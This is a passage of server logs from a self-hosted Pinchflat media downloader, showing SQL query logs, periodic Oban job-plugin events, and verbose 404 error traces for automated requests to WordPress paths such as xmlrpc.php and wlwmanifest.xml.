(m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 09:43:33.008 [debug] QUERY OK source="sources" db=0.1ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 09:43:33.010 [info] Sent 200 in 22ms 09:43:49.442 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:00.549 [info] {"source":"oban","duration":427,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:44:19.443 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:49.444 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:00.549 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:45:19.445 [info] {"source":"oban","duration":884,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:49.447 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:00.550 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:46:19.448 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:49.449 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:00.551 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:47:19.450 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:49.451 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:00.552 [info] {"source":"oban","duration":257,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:48:19.453 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:49.454 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:00.553 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:49:19.456 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:49.457 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:00.554 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:50:19.458 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:49.459 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:00.555 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:51:19.461 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:49.463 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:00.556 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:52:19.464 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:49.465 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:00.557 [info] {"source":"oban","duration":320,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:53:19.467 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:49.468 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:00.558 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:54:19.469 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:49.470 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:00.559 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:55:19.472 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:49.473 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:00.560 [info] {"source":"oban","duration":379,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:56:19.474 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:49.475 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:00.561 [info] {"source":"oban","duration":262,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:57:19.476 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:49.477 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:00.562 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:58:19.478 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:49.479 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:00.564 [info] {"source":"oban","duration":393,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:59:19.480 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:49.481 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:00.564 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:00:19.482 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:49.483 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:00.565 [info] {"source":"oban","duration":283,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:01:19.484 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:49.486 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:00.566 [info] {"source":"oban","duration":285,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:02:19.487 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:49.488 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:00.567 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:03:19.490 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:49.491 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:00.568 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:04:19.492 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:49.493 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:00.569 [info] {"source":"oban","duration":156,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:05:19.494 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:49.495 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:00.570 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:06:19.496 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:49.497 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:00.571 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:07:19.498 [info] {"source":"oban","duration":797,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:49.500 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:00.572 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:08:01.283 [info] GET //wp-includes/ID3/license.txt 10:08:01.284 [debug] QUERY OK source="settings" db=0.1ms idle=711.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:08:01.284 [debug] QUERY OK source="settings" db=0.1ms idle=586.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:08:01.284 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 10:08:01.284 [error] #PID<0.17555.0> running PinchflatWeb.Endpoint (connection #PID<0.17554.0>, stream id 1) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //wp-includes/ID3/license.txt ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-includes/ID3/license (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp-includes/ID3/license.txt", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51676}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17555.0>, params: %{}, path_info: ["wp-includes", "ID3", "license"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//wp-includes/ID3/license.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGjqpn7XyoiZl4ACCuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp-includes/ID3/license.txt", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51676}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-includes/ID3/license (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp-includes/ID3/license.txt", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51676}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17555.0>, params: %{}, path_info: ["wp-includes", "ID3", "license"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_lo (truncated) 10:08:01.991 [info] GET //xmlrpc.php 10:08:01.992 [debug] QUERY OK source="settings" db=0.2ms idle=1294.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:08:01.992 [debug] QUERY OK source="settings" db=0.0ms idle=1294.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:08:01.992 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 10:08:01.992 [error] #PID<0.17556.0> running PinchflatWeb.Endpoint (connection #PID<0.17554.0>, stream id 2) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //xmlrpc.php?rsd ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /xmlrpc (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//xmlrpc.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51676}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "rsd", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17556.0>, params: %{"rsd" => ""}, path_info: ["xmlrpc"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"rsd" => ""}, query_string: "rsd", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//xmlrpc.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGjqsQtIs-ITlsACCwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//xmlrpc.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51676}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "rsd", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /xmlrpc (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//xmlrpc.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51676}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "rsd", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17556.0>, params: %{"rsd" => ""}, path_info: ["xmlrpc"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"rsd" => ""}, query_string: "rsd", (truncated) 10:08:02.699 [info] GET //web/wp-includes/wlwmanifest.xml 10:08:02.699 [debug] QUERY OK source="settings" db=0.1ms idle=707.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:08:02.700 [debug] QUERY OK source="settings" db=0.1ms idle=707.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:08:02.700 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 10:08:02.700 [error] #PID<0.17557.0> running PinchflatWeb.Endpoint (connection #PID<0.17554.0>, stream id 3) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //web/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /web/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//web/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51676}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17557.0>, params: %{}, path_info: ["web", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"host", 